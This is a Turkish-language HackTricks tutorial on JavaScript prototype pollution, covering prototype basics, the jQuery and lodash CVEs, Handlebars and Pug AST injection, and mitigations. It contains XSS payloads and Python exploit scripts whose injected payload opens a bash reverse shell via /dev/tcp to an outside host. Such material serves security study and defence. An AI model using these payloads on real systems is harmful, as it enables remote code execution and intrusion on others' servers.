NodeJS - __proto__ & prototype Pollution
Reading time: 11 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
JavaScript'teki Nesneler
JavaScript'teki nesneler esasen anahtar-değer çiftlerinin, yani özelliklerin, koleksiyonlarıdır. Bir nesne, null
argümanı ile Object.create
kullanılarak boş bir nesne oluşturmak için yaratılabilir. Bu yöntem, miras alınan özellik olmadan bir nesne oluşturulmasına olanak tanır.
// Run this in the developers tools console
console.log(Object.create(null)) // This will output an empty object.
Boş bir nesne, {}
olarak temsil edilen boş bir sözlüğe benzer.
JavaScript'te Fonksiyonlar ve Sınıflar
JavaScript'te, sınıflar ve fonksiyonlar yakından bağlantılıdır; fonksiyonlar genellikle sınıflar için yapıcılar olarak hizmet eder. JavaScript'in yerel sınıf desteğinin olmamasına rağmen, yapıcılar sınıf davranışını taklit edebilir.
// Run this in the developers tools console
function Employee(name, position) {
this.name = name
this.position = position
this.introduce = function () {
return "My name is " + this.name + " and I work as a " + this.position + "."
}
}
Employee.prototype
var employee1 = new Employee("Generic Employee", "Developer")
employee1.__proto__
Prototipler JavaScript'te
JavaScript, prototip özelliklerinin çalışma zamanında değiştirilmesine, eklenmesine veya silinmesine izin verir. Bu esneklik, sınıf işlevselliklerinin dinamik olarak genişletilmesini sağlar.
toString
ve valueOf
gibi fonksiyonlar, davranışlarını değiştirmek için değiştirilebilir ve bu, JavaScript'in prototip sisteminin uyumlu doğasını gösterir.
Miras
Prototip tabanlı programlamada, özellikler/yöntemler nesneler tarafından sınıflardan miras alınır. Bu sınıflar, başka bir sınıfın bir örneğine veya boş bir nesneye özellikler/yöntemler eklenerek oluşturulur.
Bir nesneye (örneğin myPersonObj
) diğer nesneler için prototip olarak hizmet eden bir özellik eklendiğinde, miras alan nesneler bu yeni özelliğe erişim kazanır. Ancak, bu özellik açıkça çağrılmadıkça otomatik olarak görüntülenmez.
__proto__ kirliliği
JavaScript'te Prototip Kirliliğini Keşfetmek
JavaScript nesneleri, anahtar-değer çiftleri ile tanımlanır ve JavaScript Object prototipinden miras alır. Bu, Object prototipinin değiştirilmesinin ortamda tüm nesneleri etkileyebileceği anlamına gelir.
Açıklamak için farklı bir örnek kullanalım:
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
Object prototipine erişim mümkündür:
car1.__proto__.__proto__
Vehicle.__proto__.__proto__
Object prototipine özellikler ekleyerek, her JavaScript nesnesi bu yeni özellikleri miras alacaktır:
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function () {
console.log("Beep beep!")
}
car1.announce() // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true
console.log(car1.isVehicle) // Outputs true
prototype pollution
__proto__
kullanımının kısıtlandığı bir senaryo için, bir fonksiyonun prototipini değiştirmek bir alternatiftir:
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function () {
console.log("Beep beep!")
}
car1.beep() // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true
console.log(car1.hasWheels) // Outputs true
// Alternate method
car1.constructor.prototype.honk = function () {
console.log("Honk!")
}
car1.constructor.prototype.isElectric = true
Bu, yalnızca Vehicle
yapıcısından oluşturulan nesneleri etkiler ve onlara beep
, hasWheels
, honk
ve isElectric
özelliklerini verir.
Prototip kirliliği yoluyla JavaScript nesnelerini küresel olarak etkilemenin iki yöntemi şunlardır:
Object.prototype
'ı doğrudan kirletmek:
Object.prototype.goodbye = function () {
console.log("Goodbye!")
}
- Yaygın olarak kullanılan bir yapının bir yapıcı prototipini kirletmek:
var example = { key: "value" }
example.constructor.prototype.greet = function () {
console.log("Hello!")
}
Bu işlemlerden sonra, her JavaScript nesnesi goodbye
ve greet
yöntemlerini çalıştırabilir.
Diğer nesneleri kirletme
Bir sınıftan Object.prototype'a
Belirli bir nesneyi kirletebileceğiniz ve Object.prototype
'a ulaşmanız gerektiği bir senaryoda, aşağıdaki gibi bir kod ile arama yapabilirsiniz:
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
// Search from "window" object
for (let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}
// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for (let key1 in document.querySelector("a")) {
for (let key2 in document.querySelector("a")[key1]) {
if (document.querySelector("a")[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}
Dizi elemanları kirliliği
JS'de nesnelerin niteliklerini kirletebildiğiniz gibi, bir diziye kirletme erişiminiz varsa, dizinin indeksler aracılığıyla erişilebilir değerlerini de kirletebilirsiniz (değerleri üzerine yazamayacağınızı unutmayın, bu nedenle bir şekilde kullanılan ancak yazılmayan indeksleri kirletmeniz gerekir).
c = [1, 2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not
Html elemanları kirliliği
JS aracılığıyla bir HTML elemanı oluştururken, keyfi HTML kodu yazmak için innerHTML
özniteliğini üstüne yazmak mümkündür. Bu yazıdan fikir ve örnek.
// Create element
devSettings["root"] = document.createElement('main')
// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"
// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"
Örnekler
Temel Örnek
Bir prototip kirlenmesi, Object.prototype
üzerindeki özelliklerin üzerine yazılmasına izin veren bir uygulama hatasından kaynaklanır. Bu, çoğu nesnenin özelliklerini Object.prototype
'dan türettiği anlamına gelir.
En basit örnek, kontrol edilecek bir nesnenin tanımsız bir niteliğine bir değer eklemektir, şöyle:
if (user.admin) {
Eğer admin
niteliği tanımsızsa, bir PP'yi kötüye kullanmak ve onu True olarak ayarlamak mümkündür, şöyle bir şeyle:
Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true
Bu mekanizma, bir saldırgan belirli girdiler üzerinde kontrol sahibi olduğunda, uygulamadaki tüm nesnelerin prototipini değiştirebilecek şekilde özellikleri manipüle etmeyi içerir. Bu manipülasyon genellikle __proto__
özelliğini ayarlamayı içerir; bu, JavaScript'te bir nesnenin prototipini doğrudan değiştirmekle eşanlamlıdır.
Bu saldırının başarılı bir şekilde gerçekleştirilebileceği koşullar, belirli bir çalışmada belirtildiği gibi şunlardır:
- Rekürsif bir birleştirme gerçekleştirmek.
- Bir yola dayalı olarak özellikler tanımlamak.
- Nesneleri klonlamak.
Override function
customer.__proto__.toString = ()=>{alert("polluted")}
Proto Pollution to RCE
Diğer yükler:
Client-side prototype pollution to XSS
Client Side Prototype Pollution
CVE-2019–11358: jQuery $ .extend aracılığıyla prototip kirlenmesi saldırısı
Detaylar için bu makaleye bakın jQuery'de, $ .extend
fonksiyonu derin kopyalama özelliği yanlış kullanıldığında prototip kirlenmesine yol açabilir. Bu fonksiyon genellikle nesneleri klonlamak veya varsayılan bir nesneden özellikleri birleştirmek için kullanılır. Ancak, yanlış yapılandırıldığında, yeni bir nesne için tasarlanan özellikler yerine prototipe atanabilir. Örneğin:
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode) // Outputs: true
Bu zafiyet, CVE-2019–11358 olarak tanımlanmıştır ve derin bir kopyanın prototipi istemeden nasıl değiştirebileceğini, isAdmin
gibi özelliklerin uygun varlık doğrulaması olmadan kontrol edilmesi durumunda yetkisiz yönetici erişimi gibi potansiyel güvenlik risklerine yol açabileceğini göstermektedir.
CVE-2018–3721, CVE-2019–10744: lodash üzerinden prototip kirlenmesi saldırısı
Daha fazla detay için bu makaleye bakın
Lodash, benzer prototip kirlenmesi zafiyetleri (CVE-2018–3721, CVE-2019–10744) ile karşılaşmıştır. Bu sorunlar 4.17.11 sürümünde ele alınmıştır.
CVE'ler ile başka bir eğitim
Prototip Kirlenmesini Tespit Etmek için Araçlar
- Server-Side-Prototype-Pollution-Gadgets-Scanner: Web uygulamalarında sunucu tarafı prototip kirlenmesi zafiyetlerini tespit etmek ve analiz etmek için tasarlanmış Burp Suite eklentisi. Bu araç, potansiyel prototip kirlenmesi sorunlarını tanımlamak için istekleri tarama sürecini otomatikleştirir. Bilinen gadget'ları - prototip kirlenmesini kullanarak zararlı eylemleri gerçekleştirme yöntemleri - özellikle Node.js kütüphanelerine odaklanarak kullanır.
- server-side-prototype-pollution: Bu eklenti, sunucu tarafı prototip kirlenmesi zafiyetlerini tanımlar. sunucu tarafı prototip kirlenmesi konusundaki teknikleri kullanır.
NodeJS'de AST Prototip Kirlenmesi
NodeJS, JavaScript'te şablon motorları ve TypeScript gibi işlevler için Soyut Sözdizim Ağaçları (AST) kullanmaktadır. Bu bölüm, şablon motorlarındaki prototip kirlenmesi ile ilgili zafiyetleri, özellikle Handlebars ve Pug'u incelemektedir.
Handlebars Zafiyet Analizi
Handlebars şablon motoru, bir prototip kirlenmesi saldırısına karşı hassastır. Bu zafiyet, javascript-compiler.js
dosyasındaki belirli işlevlerden kaynaklanmaktadır. Örneğin, appendContent
işlevi, pendingContent
mevcutsa bunu birleştirirken, pushSource
işlevi kaynağı ekledikten sonra pendingContent
'i undefined
olarak sıfırlar.
Sömürü Süreci
Sömürü, Handlebars tarafından üretilen AST'yi (Soyut Sözdizim Ağacı) kullanarak şu adımları izler:
- Parser'ın Manipülasyonu: İlk olarak,
NumberLiteral
düğümü aracılığıyla parser, değerlerin sayısal olmasını zorunlu kılar. Prototip kirlenmesi bunu aşabilir ve sayısal olmayan dizelerin eklenmesine olanak tanır. - Derleyici Tarafından İşlenmesi: Derleyici, bir AST Objesini veya bir dize şablonunu işleyebilir. Eğer
input.type
Program
'a eşitse, girdi önceden işlenmiş olarak kabul edilir ve bu durum sömürülebilir. - Kod Enjeksiyonu:
Object.prototype
'ın manipülasyonu yoluyla, şablon işlevine rastgele kod enjekte edilebilir, bu da uzaktan kod yürütmeye yol açabilir.
Handlebars zafiyetinin sömürüsünü gösteren bir örnek:
const Handlebars = require("handlebars")
Object.prototype.type = "Program"
Object.prototype.body = [
{
type: "MustacheStatement",
path: 0,
params: [
{
type: "NumberLiteral",
value:
"console.log(process.mainModule.require('child_process').execSync('id').toString())",
},
],
loc: {
start: 0,
end: 0,
},
},
]
const source = `Hello {{ msg }}`
const template = Handlebars.precompile(source)
console.log(eval("(" + template + ")")["main"].toString())
Bu kod, bir saldırganın Handlebars şablonuna keyfi kod enjekte edebileceğini göstermektedir.
Dış Referans: 'flat' kütüphanesinde prototip kirlenmesi ile ilgili bir sorun bulundu, burada detaylandırılmıştır: GitHub'daki Sorun.
Dış Referans: ‘flat’ kütüphanesindeki prototip kirlenmesi ile ilgili sorun
Python'da prototip kirlenmesi istismarına örnek:
import requests
TARGET_URL = 'http://10.10.10.10:9090'
# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})
# execute
requests.get(TARGET_URL)
Pug Açığı
Pug, başka bir şablon motoru, prototip kirlenmesi riskiyle karşı karşıyadır. Ayrıntılı bilgi Pug'da AST Enjeksiyonu tartışmasında mevcuttur.
Pug'da prototip kirlenmesi örneği:
import requests
TARGET_URL = 'http://10.10.10.10:9090'
# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})
# execute
requests.get(TARGET_URL)
Önleyici Tedbirler
Prototip kirlenmesi riskini azaltmak için aşağıdaki stratejiler uygulanabilir:
- Nesne Değişmezliği:
Object.prototype
'ıObject.freeze
uygulayarak değişmez hale getirebilirsiniz. - Girdi Doğrulama: JSON girdileri, uygulamanın şemasına karşı titizlikle doğrulanmalıdır.
- Güvenli Birleştirme Fonksiyonları: Güvensiz birleştirme fonksiyonlarının özyinelemeli kullanımı kaçınılmalıdır.
- Prototipsiz Nesneler: Prototip özellikleri olmayan nesneler
Object.create(null)
kullanılarak oluşturulabilir. - Map Kullanımı: Anahtar-değer çiftlerini depolamak için
Object
yerineMap
kullanılmalıdır. - Kütüphane Güncellemeleri: Güvenlik yamaları, kütüphaneleri düzenli olarak güncelleyerek entegre edilebilir.
- Linter ve Statik Analiz Araçları: Prototip kirlenmesi zafiyetlerini tespit ve önlemek için uygun eklentilere sahip ESLint gibi araçlar kullanılmalıdır.
- Kod İncelemeleri: Prototip kirlenmesi ile ilgili potansiyel riskleri belirlemek ve düzeltmek için kapsamlı kod incelemeleri uygulanmalıdır.
- Güvenlik Eğitimi: Geliştiricileri prototip kirlenmesi riskleri ve güvenli kod yazma en iyi uygulamaları hakkında eğitmek.
- Kütüphaneleri Dikkatle Kullanma: Üçüncü taraf kütüphaneleri kullanırken dikkatli olun. Güvenlik duruşlarını değerlendirin ve özellikle nesneleri manipüle edenlerin kodunu gözden geçirin.
- Çalışma Zamanı Koruması: Prototip kirlenmesi saldırılarını tespit ve önlemek için güvenlik odaklı npm paketleri gibi çalışma zamanı koruma mekanizmaları kullanın.
Referanslar
- https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/
- https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l
- https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7
- https://blog.p6.is/AST-Injection/
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.